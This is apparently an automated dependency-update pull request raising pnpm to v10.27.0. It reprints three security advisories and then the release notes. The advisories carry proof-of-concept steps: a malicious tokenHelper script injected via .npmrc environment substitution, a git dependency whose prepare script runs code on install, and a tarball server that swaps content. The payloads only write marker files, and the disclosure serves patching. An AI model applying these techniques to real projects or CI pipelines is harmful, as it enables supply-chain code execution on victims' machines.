chore(deps): update pnpm to v10.27.0 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
pnpm (source)	10.18.3 → 10.27.0

GitHub Vulnerability Alerts

CVE-2025-69262

Summary

A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.

Affected Components

• Package: pnpm
• Versions: All versions using @pnpm/config.env-replace and loadToken functionality
• File: pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() function
• File: pnpm/config/config/src/readLocalConfig.ts - .npmrc environment variable substitution

Technical Details

Vulnerability Chain

1. Environment Variable Substitution

   • .npmrc supports ${VAR} syntax
   • Substitution occurs in readLocalConfig()

2. loadToken Execution

   • Uses spawnSync(helperPath, { shell: true })
   • Only validates absolute path existence

3. Attack Flow

.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
   ↓
envReplace() → /tmp/evil-helper.sh
   ↓
loadToken() → spawnSync(..., { shell: true })
   ↓
RCE achieved

Code Evidence

pnpm/config/config/src/readLocalConfig.ts:17-18

key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)

pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71

export function loadToken(helperPath: string, settingName: string): string {
  if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
    throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
  }
  const spawnResult = spawnSync(helperPath, { shell: true })
  // ...
}

Proof of Concept

Prerequisites

• Private npm registry access
• Control over environment variables
• Ability to place scripts in filesystem

PoC Steps

# 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'

#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh

# 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF

# 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh

# 4. Trigger pnpm install
pnpm install  # RCE occurs during auth

# 5. Verify attack
cat /tmp/rce-log.txt

PoC Results

==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed

Impact

Severity

• CVSS Score: 7.6 (High)
• CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Environments

High Risk:

• CI/CD pipelines (GitHub Actions, GitLab CI)
• Docker build environments
• Kubernetes deployments
• Private registry users

Low Risk:

• Public registry only
• Production runtime (no pnpm execution)
• Static sites

Attack Scenarios

Scenario 1: CI/CD Supply Chain

Repository → Build Trigger → pnpm install → RCE → Production Deploy

Scenario 2: Docker Build

FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install  # RCE

Scenario 3: Kubernetes

Secret Control → Env Variable → .npmrc Substitution → RCE

Mitigation

Temporary Workarounds

Disable tokenHelper:

# .npmrc
# registry.npmjs.org/:tokenHelper=${HELPER_PATH}

Use direct tokens:

//registry.npmjs.org/:_authToken=YOUR_TOKEN

Audit environment variables:

• Review CI/CD env vars
• Restrict .npmrc changes
• Monitor build logs

Recommended Fixes

1. Remove shell: true from loadToken
2. Implement helper path allowlist
3. Validate substituted paths
4. Consider sandboxing

Disclosure

• Discovery: 2025-11-02
• PoC: 2025-11-02
• Report: [Pending disclosure decision]

References

• Repository: https://github.com/pnpm/pnpm
• Affected: @pnpm/config.env-replace@^3.0.2
• Similar: CVE-2024-53866, CVE-2023-37478

Credit

Reported by: Jiyong Yang
Contact: sy2n0@​naver.com

CVE-2025-69264

pnpm v10+ Git Dependency Script Execution Bypass

Summary

A security bypass vulnerability in pnpm v10+ allows git-hosted dependencies to execute arbitrary code during pnpm install, circumventing the v10 security feature "Dependency lifecycle scripts execution disabled by default". While pnpm v10 blocks postinstall scripts via the onlyBuiltDependencies mechanism, git dependencies can still execute prepare, prepublish, and prepack scripts during the fetch phase, enabling remote code execution without user consent or approval.

Details

pnpm v10 introduced a security feature to disable dependency lifecycle scripts by default (PR #​8897). This is implemented by setting onlyBuiltDependencies = [] when no build policy is configured:

File: pkg-manager/core/src/install/extendInstallOptions.ts (lines 290-291)

if (opts.neverBuiltDependencies == null && opts.onlyBuiltDependencies == null && opts.onlyBuiltDependenciesFile == null) {
  opts.onlyBuiltDependencies = []
}

This creates an allowlist that blocks all packages from running scripts during the BUILD phase in exec/build-modules/src/index.ts.

However, git-hosted dependencies are processed differently. During the FETCH phase, git packages are prepared using preparePackage():

File: exec/prepare-package/src/index.ts (lines 28-57)

export async function preparePackage (opts: PreparePackageOptions, gitRootDir: string, subDir: string) {
  // ...
  if (opts.ignoreScripts) return { shouldBeBuilt: true, pkgDir }  // Only checks ignoreScripts, not onlyBuiltDependencies

  const execOpts: RunLifecycleHookOptions = {
    // ...
    rawConfig: omit(['ignore-scripts'], opts.rawConfig),  // Explicitly removes ignore-scripts!
  }

  // Runs npm/pnpm install
  await runLifecycleHook(installScriptName, manifest, execOpts)

  // Runs prepare scripts
  for (const scriptName of PREPUBLISH_SCRIPTS) {  // ['prepublish', 'prepack', 'publish']
    await runLifecycleHook(newScriptName, manifest, execOpts)
  }
}

The ignoreScripts option defaults to false and is completely separate from onlyBuiltDependencies. The onlyBuiltDependencies allowlist is never consulted during the fetch phase.

Affected scripts that execute during fetch:

• prepare
• prepublish
• prepack

Attack vectors:

• git+https://github.com/attacker/malicious.git
• github:attacker/malicious
• gitlab:attacker/malicious
• bitbucket:attacker/malicious
• git+ssh://[email protected]/attacker/malicious.git
• git+file:///path/to/local/repo

PoC

Prerequisites:

• pnpm v10.0.0 or later (tested on v10.23.0 and v11.0.0-alpha.1)
• git

Steps to reproduce:

1. Extract the attached poc.zip

2. Run the PoC script:

   cd poc
   chmod +x run-poc.sh
   ./run-poc.sh

3. Verify the marker file was created by the malicious script:

   cat /tmp/pnpm-vuln-poc-marker.txt

Manual reproduction:

1. Create a malicious package with a prepare script:

   {
     "name": "malicious-pkg",
     "version": "1.0.0",
     "scripts": {
       "prepare": "node -e \"require('fs').writeFileSync('/tmp/pwned.txt', 'RCE!')\""
     }
   }

2. Initialize it as a git repo and commit the files

3. Create a victim project that depends on it (just have to make sure it actually git clones and not just downloads a tarball):

   {
     "dependencies": {
       "malicious-pkg": "git+file:///path/to/malicious-pkg"
     }
   }

4. Run pnpm install - the prepare script executes without any warning or approval prompt

Impact

Severity: High

Who is impacted:

• All pnpm v10+ users
• Users who believed they were protected by the v10 "scripts disabled by default" feature
• CI/CD pipelines

Attack scenarios:

1. Supply chain attack: An attacker compromises a dependency, adding to it a malicious git dependency that executes arbitrary code during pnpm install

What an attacker can do:

• Execute arbitrary code with the victim's privileges
• Exfiltrate environment variables, secrets, and credentials
• Modify source code or inject backdoors
• Establish persistence or reverse shells
• Access the filesystem and network

Why this bypasses security expectations:

• pnpm v10 changelog explicitly states "Lifecycle scripts of dependencies are not executed during installation by default"
• Users expect git dependencies to follow the same security model as npm registry packages
• There is no warning that git dependencies are treated differently
• The onlyBuiltDependencies configuration does not affect git dependencies

CVE-2025-69263

Summary

HTTP tarball dependencies (and git-hosted tarballs) are stored in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed.

Details

When a package depends on an HTTP tarball URL, pnpm's tarball resolver returns only the URL without computing an integrity hash:

resolving/tarball-resolver/src/index.ts:

return {
  resolution: {
    tarball: resolvedUrl,
    // No integrity field
  },
  resolvedVia: 'url',
}

The resulting lockfile entry has no integrity to verify:

remote-dynamic-dependency@http://example.com/pkg.tgz:
  resolution: {tarball: http://example.com/pkg.tgz}
  version: 1.0.0

Since there is no integrity hash, pnpm cannot detect when the server returns different content.

This affects:

• HTTP/HTTPS tarball URLs ("pkg": "https://example.com/pkg.tgz")
• Git shorthand dependencies ("pkg": "github:user/repo")
• Git URLs ("pkg": "git+https://github.com/user/repo")

npm registry packages are not affected as they include integrity hashes from the registry metadata.

PoC

See attached pnpm-bypass-integrity-poc.zip

The POC includes:

• A server that returns different tarball content on each request
• A malicious-package that depends on the HTTP tarball
• A victim project that depends on malicious-package

To run:

cd pnpm-bypass-integrity-poc
./run-poc.sh

The output shows that each install (with pnpm store prune between them) downloads different code despite having a committed lockfile.

Impact

An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. This enables:

• Targeted attacks based on request metadata (IP, headers, timing)
• Evasion of security audits (serve benign code during review, malicious code later)
• Supply chain attacks where the malicious payload changes over time

The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection.

---

Release Notes

pnpm/pnpm (pnpm)

v10.27.0

Compare Source

v10.26.2: pnpm 10.26.2

Compare Source

Patch Changes

• Improve error message when a package version exists but does not meet the minimumReleaseAge constraint. The error now clearly states that the version exists and shows a human-readable time since release (e.g., "released 6 hours ago") #​10307.

• Fix installation of Git dependencies using annotated tags #​10335.

  Previously, pnpm would store the annotated tag object's SHA in the lockfile instead of the actual commit SHA. This caused ERR_PNPM_GIT_CHECKOUT_FAILED errors because the checked-out commit hash didn't match the stored tag object hash.

• Binaries of runtime engines (Node.js, Deno, Bun) are written to node_modules/.bin before lifecycle scripts (install, postinstall, prepare) are executed #​10244.

• Try to avoid making network calls with preferOffline #​10334.

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v10.26.1: pnpm 10.26.1

Compare Source

Patch Changes

• Don't fail on pnpm add, when blockExoticSubdeps is set to true #​10324.
• Always resolve git references to full commits and ensure HEAD points to the commit after checkout #​10310.

Platinum Sponsors

Gold Sponsors

v10.26.0

Compare Source

v10.25.0

Compare Source

v10.24.0

Compare Source

v10.23.0: pnpm 10.23

Compare Source

Minor Changes

• Added --lockfile-only option to pnpm list #​10020.

Patch Changes

• pnpm self-update should download pnpm from the configured npm registry #​10205.
• pnpm self-update should always install the non-executable pnpm package (pnpm in the registry) and never the @pnpm/exe package, when installing v11 or newer. We currently cannot ship @pnpm/exe as pkg doesn't work with ESM #​10190.
• Node.js runtime is not added to "dependencies" on pnpm add, if there's a engines.runtime setting declared in package.json #​10209.
• The installation should fail if an optional dependency cannot be installed due to a trust policy check failure #​10208.
• pnpm list and pnpm why now display npm: protocol for aliased packages (e.g., foo npm:[email protected]) #​8660.
• Don't add an extra slash to the Node.js mirror URL #​10204.
• pnpm store prune should not fail if the store contains Node.js packages #​10131.

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Gold Sponsors

v10.22.0: pnpm 10.22

Compare Source

Minor Changes

• Added support for trustPolicyExclude #​10164.

  You can now list one or more specific packages or versions that pnpm should allow to install, even if those packages don't satisfy the trust policy requirement. For example:

  trustPolicy: no-downgrade
  trustPolicyExclude:
    - [email protected]
    - [email protected] || 5.102.1

• Allow to override the engines field on publish by the publishConfig.engines field.

Patch Changes

• Don't crash when two processes of pnpm are hardlinking the contents of a directory to the same destination simultaneously #​10179.

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Gold Sponsors

v10.21.0

Compare Source

v10.20.0

Compare Source

Minor Changes

• Support --all option in pnpm --help to list all commands #​8628.

Patch Changes

• When the latest version doesn't satisfy the maturity requirement configured by minimumReleaseAge, pick the highest version that is mature enough, even if it has a different major version #​10100.
• create command should not verify patch info.
• Set managePackageManagerVersions to false, when switching to a different version of pnpm CLI, in order to avoid subsequent switches #​10063.

v10.19.0

Compare Source

Minor Changes

• You can now allow specific versions of dependencies to run postinstall scripts. onlyBuiltDependencies now accepts package names with lists of trusted versions. For example:

  onlyBuiltDependencies:
    - [email protected] || 21.6.5
    - [email protected]

  Related PR: #​10104.

• Added support for exact versions in minimumReleaseAgeExclude #​9985.

  You can now list one or more specific versions that pnpm should allow to install, even if those versions don’t satisfy the maturity requirement set by minimumReleaseAge. For example:

  minimumReleaseAge: 1440
  minimumReleaseAgeExclude:
    - [email protected]
    - [email protected] || 5.102.1

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